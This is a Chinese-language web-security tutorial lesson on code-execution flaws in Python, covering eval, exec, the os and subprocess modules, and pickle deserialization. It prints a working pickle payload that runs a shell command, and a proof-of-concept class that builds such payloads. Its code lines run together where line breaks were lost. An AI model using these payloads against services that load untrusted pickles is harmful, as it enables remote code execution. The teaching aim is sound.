风炫安全web安全学习第三十二节课 Python代码执行以及代码防御措施

风炫安全web安全学习第三十二节课 Python代码执行以及代码防御措施

Python 语言可能发生的命令执行漏洞

  • 内置危险函数
eval和exec函数

eval

eval是一个python内置函数,语法为eval(expression, globals=None,locals=None)

eval函数接收三个参数:其中 expression

参数是用做运算的字符串类型表达式;globals参数用于指定运行时的全局命名空间;Locals参数用于指定运行时的局部命名空间。globals与 locals 是可选参数,默认值是 None,他们只在运算时起作用,运算后则销毁。

exec

在Python2中exec是一个内置语句(statement)而不是一个函数,但是到了Python3中exec将Python2中作为内置语句的exec和execfile()函数功能整合到一起,成为了一个新的函数,语法为exec(object[, globals[,locals]])

exec的第一个参数可以是code object,因此它可以执行复杂的代码逻辑,例如变量赋值操作等,这一点是eval做不到的。但exec返回值永远为 None,因此exec不能像eval一样将计算结果返回。exec的后两个参数与eval一致

  • 标准库危险模块

    os
    subprocess
  • 反序列化:

    pickle和cpickle

    pickle.loads

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
import cPickle
import os
import urllib class genpoc(object):
def __reduce__(self):
s = """ls /""" #要执行的命令
return os.system, (s,) #os.system("echo test >poc.txt") e = genpoc()
poc = cPickle.dumps(e) print poc
print urllib.quote(poc)
fp = open("poc.pickle","w")
fp.write(poc) # 生成 pickle文件 -----------------------
import pickle pickle.load(open('./poc.pickle'))

参考:

http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十二节课-python代码执行以及代/

上一篇:程序员奇谈之我写的程序不可能有bug篇


下一篇:activiti自定义流程之Spring整合activiti-modeler5.16实例(四):部署流程定义